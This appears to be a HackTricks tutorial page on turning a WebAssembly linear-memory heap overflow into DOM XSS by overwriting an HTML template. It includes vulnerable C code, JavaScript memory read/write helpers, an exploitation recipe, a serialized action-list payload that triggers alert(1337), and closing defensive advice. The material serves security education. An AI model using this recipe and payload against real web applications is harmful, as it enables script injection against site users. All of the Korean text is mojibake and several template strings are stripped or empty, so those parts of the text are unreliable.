WebAssembly linear memory corruption to DOM XSS (template overwrite)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.

Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the moduleโ€™s data (heap/stack/globals/โ€œconstantsโ€) live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.

Threat model and preconditions

  • Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
  • Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
  • Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
  • There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).

Minimal vulnerable data model (example)

typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;

typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory

์ทจ์•ฝํ•œ ๋กœ์ง ํŒจํ„ด

  • addMsg(): sanitized input ํฌ๊ธฐ์— ๋งž๋Š” ์ƒˆ ๋ฒ„ํผ๋ฅผ ํ• ๋‹นํ•˜๊ณ  s.mess์— msg๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉฐ, ํ•„์š”ํ•  ๋•Œ realloc์œผ๋กœ ์šฉ๋Ÿ‰์„ ๋‘ ๋ฐฐ๋กœ ๋Š˜๋ฆผ.
  • editMsg(): re-sanitizesํ•˜๊ณ  memcpyโ€™s๋กœ ์ƒˆ ๋ฐ”์ดํŠธ๋ฅผ ๊ธฐ์กด ๋ฒ„ํผ์— ๋ณต์‚ฌํ•˜์ง€๋งŒ new length โ‰ค old allocation์„ ๋ณด์žฅํ•˜์ง€ ์•Š์•„ intra-linear-memory heap overflow๊ฐ€ ๋ฐœ์ƒํ•จ.
  • populateMsgHTML(): sanitized text๋ฅผ โ€œ

    %.*s

    โ€ ๊ฐ™์€ baked stub์œผ๋กœ ํฌ๋งทํ•˜์—ฌ linear memory์— ์œ„์น˜์‹œํ‚จ๋‹ค. ๋ฐ˜ํ™˜๋œ HTML์€ DOM sink(์˜ˆ: innerHTML)์— ๋„๋‹ฌํ•œ๋‹ค.

Allocator grooming with realloc()

int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
  • ์ดˆ๊ธฐ ์šฉ๋Ÿ‰์„ ์ดˆ๊ณผํ•  ๋งŒํผ ์ถฉ๋ถ„ํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ธ๋‹ค. ์šฉ๋Ÿ‰์ด ์ฆ๊ฐ€ํ•œ ๋’ค realloc()๋Š” ์ข…์ข… s->mess๋ฅผ linear memory์—์„œ ๋งˆ์ง€๋ง‰ ์‚ฌ์šฉ์ž ๋ฒ„ํผ ๋ฐ”๋กœ ๋‹ค์Œ์— ๋ฐฐ์น˜ํ•œ๋‹ค.
  • editMsg()๋กœ ๋งˆ์ง€๋ง‰ ๋ฉ”์‹œ์ง€๋ฅผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์‹œ์ผœ s->mess ๋‚ด๋ถ€์˜ ํ•„๋“œ๋ฅผ ๋ฎ์–ด์“ด๋‹ค(์˜ˆ: msg_data ํฌ์ธํ„ฐ๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ) โ†’ ์ดํ›„ ๋ Œ๋”๋ง๋  ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด linear memory ๋‚ด ์ž„์˜ ํฌ์ธํ„ฐ ์žฌ์ž‘์„ฑ.

Exploit pivot: sanitized source ๋Œ€์‹  HTML template (sink)์„ ๋ฎ์–ด์“ด๋‹ค

  • Sanitization์€ ์ž…๋ ฅ์„ ๋ณดํ˜ธํ•  ๋ฟ, sink๋Š” ๋ณดํ˜ธํ•˜์ง€ ์•Š๋Š”๋‹ค. populateMsgHTML()์—์„œ ์‚ฌ์šฉ๋˜๋Š” format stub์„ ์ฐพ์•„๋ผ, ์˜ˆ:
  • โ€œ

    %.*s

    โ€ โ†’ change to โ€œโ€
  • linear memory๋ฅผ ์Šค์บ”ํ•ด์„œ ๊ทธ stub์„ ๊ฒฐ์ •๋ก ์ ์œผ๋กœ ์ฐพ์•„๋ผ; ๊ทธ๊ฒƒ์€ Module.HEAPU8 ์•ˆ์˜ ํ‰๋ฌธ ๋ฐ”์ดํŠธ ๋ฌธ์ž์—ด์ด๋‹ค.
  • stub์„ ๋ฎ์–ด์“ด ํ›„, sanitized ๋ฉ”์‹œ์ง€ ๋‚ด์šฉ์€ onerror์˜ JavaScript ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋œ๋‹ค. ๋”ฐ๋ผ์„œ alert(1337) ๊ฐ™์€ ํ…์ŠคํŠธ๋กœ ์ƒˆ ๋ฉ”์‹œ์ง€๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ๊ฐ€ ์ƒ์„ฑ๋˜์–ด DOM์—์„œ ์ฆ‰์‹œ ์‹คํ–‰๋œ๋‹ค.

Chrome DevTools workflow (Emscripten glue)

  • JS glue์˜ ์ฒซ Module.cwrap ํ˜ธ์ถœ์— ๋ธŒ๋ ˆ์ดํฌํ•œ ๋‹ค์Œ wasm ํ˜ธ์ถœ ์ง€์ ์œผ๋กœ step intoํ•˜์—ฌ ํฌ์ธํ„ฐ ์ธ์ˆ˜(์ˆซ์žํ˜• linear memory ์˜คํ”„์…‹)๋ฅผ ์บก์ฒ˜ํ•œ๋‹ค.
  • ์ฝ˜์†”์—์„œ WASM ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ณ  ์“ฐ๊ธฐ ์œ„ํ•ด Module.HEAPU8 ๊ฐ™์€ typed views๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.
  • ๋„์›€์ด ๋˜๋Š” ์Šค๋‹ˆํŽซ:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int

End-to-end exploitation recipe

  1. Groom: N๊ฐœ์˜ ์ž‘์€ ๋ฉ”์‹œ์ง€๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ realloc()์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. s->mess๊ฐ€ user buffer์— ์ธ์ ‘ํ•˜๋„๋ก ํ•˜์„ธ์š”.
  2. Overflow: ๋งˆ์ง€๋ง‰ ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•ด editMsg()๋ฅผ ํ˜ธ์ถœํ•ด ๋” ๊ธด ํŽ˜์ด๋กœ๋“œ๋กœ s->mess์˜ ์—”ํŠธ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ฐ๊ณ , message 0์˜ msg_data๋ฅผ (stub_addr + 1)์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. +1์€ ๋‹ค์Œ ํŽธ์ง‘ ๋™์•ˆ ์„ ํ–‰ โ€™<โ€™๋ฅผ ๊ฑด๋„ˆ๋›ฐ์–ด ํƒœ๊ทธ ์ •๋ ฌ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  3. Template rewrite: message 0์„ ํŽธ์ง‘ํ•˜์—ฌ ๊ทธ ๋ฐ”์ดํŠธ๊ฐ€ ํ…œํ”Œ๋ฆฟ์„ ๋‹ค์Œ ๋‚ด์šฉ์œผ๋กœ ๋ฎ์–ด์“ฐ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค: โ€œimg src=1 onerror=%.*s โ€œ.
  4. Trigger XSS: sanitized content๊ฐ€ JavaScript๊ฐ€ ๋˜๋„๋ก ์ƒˆ ๋ฉ”์‹œ์ง€๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”(์˜ˆ: alert(1337)). ๋ Œ๋”๋ง์€ ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

Example action list to serialize and place in ?s= (Base64-encode with btoa before use)

[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]

์™œ ์ด ์šฐํšŒ๊ฐ€ ๋™์ž‘ํ•˜๋Š”๊ฐ€

  • WASM๋Š” linear memory์—์„œ์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ๋ฐฉ์ง€ํ•˜์ง€๋งŒ, ํ”„๋กœ๊ทธ๋žจ ๋กœ์ง์— ๋ฒ„๊ทธ๊ฐ€ ์žˆ์œผ๋ฉด linear memory ๋‚ด๋ถ€์˜ constant data๋„ writableํ•˜๋‹ค.
  • sanitizer๋Š” source string๋งŒ ๋ณดํ˜ธํ•œ๋‹ค; sink(HTML template)๋ฅผ ์†์ƒ์‹œํ‚ค๋ฉด, sanitized input์ด JS handler ๊ฐ’์ด ๋˜์–ด DOM์— ์‚ฝ์ž…๋  ๋•Œ ์‹คํ–‰๋œ๋‹ค.
  • realloc()-driven adjacency์™€ edit flows์—์„œ์˜ unchecked memcpy๋Š” ํฌ์ธํ„ฐ ์†์ƒ์„ ์œ ๋ฐœํ•ด linear memory ๋‚ด ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ ์ฃผ์†Œ๋กœ์˜ ์“ฐ๊ธฐ๋ฅผ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

์ผ๋ฐ˜ํ™” ๋ฐ ๊ธฐํƒ€ ๊ณต๊ฒฉ ํ‘œ๋ฉด

  • linear memory์— embedded๋œ ๋ชจ๋“  in-memory HTML template, JSON skeleton, ๋˜๋Š” URL pattern์€ downstream์—์„œ sanitized data๊ฐ€ ์–ด๋–ป๊ฒŒ ํ•ด์„๋˜๋Š”์ง€๋ฅผ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•œ ํ‘œ์ ์ด ๋  ์ˆ˜ ์žˆ๋‹ค.
  • ๋‹ค๋ฅธ ์ผ๋ฐ˜์ ์ธ WASM ํ•จ์ •: linear memory์—์„œ์˜ out-of-bounds ์“ฐ๊ธฐ/์ฝ๊ธฐ, heap objects์˜ UAF, unchecked indirect call indices๋กœ ์ธํ•œ function-table ์˜ค์šฉ, ๊ทธ๋ฆฌ๊ณ  JSโ†”WASM glue ๋ถˆ์ผ์น˜.

๋ฐฉ์–ด ์ง€์นจ

  • ํŽธ์ง‘ ๊ฒฝ๋กœ์—์„œ๋Š” new length โ‰ค capacity๋ฅผ ๊ฒ€์ฆํ•˜๋ผ; ๋ณต์‚ฌ ์ „์— ๋ฒ„ํผ๋ฅผ ์žฌ์กฐ์ •(resize)ํ•˜๋ผ (realloc to new_len) ๋˜๋Š” size-bounded APIs(snprintf/strlcpy)๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  capacity๋ฅผ ์ถ”์ ํ•˜๋ผ.
  • immutable templates๋Š” writable linear memory ๋ฐ–์— ๋‘๊ฑฐ๋‚˜ ์‚ฌ์šฉ ์ „์— ๋ฌด๊ฒฐ์„ฑ(integrity) ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ผ.
  • JSโ†”WASM ๊ฒฝ๊ณ„๋ฅผ untrusted๋กœ ์ทจ๊ธ‰ํ•˜๋ผ: ํฌ์ธํ„ฐ ๋ฒ”์œ„/๊ธธ์ด๋ฅผ ๊ฒ€์ฆํ•˜๊ณ , exported interfaces๋ฅผ fuzzํ•˜๋ฉฐ, ๋ฉ”๋ชจ๋ฆฌ ์„ฑ์žฅ์„ ์ œํ•œํ•˜๋ผ.
  • sink์—์„œ sanitizeํ•˜๋ผ: WASM์—์„œ HTML์„ ๋นŒ๋“œํ•˜์ง€ ๋ง๊ณ  innerHTML ์Šคํƒ€์ผ ํ…œํ”Œ๋ฆฟ ๋Œ€์‹  ์•ˆ์ „ํ•œ DOM APIs๋ฅผ ์‚ฌ์šฉํ•˜๋ผ.
  • privileged flows์—์„œ๋Š” URL-embedded state๋ฅผ ์‹ ๋ขฐํ•˜์ง€ ๋งˆ๋ผ.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ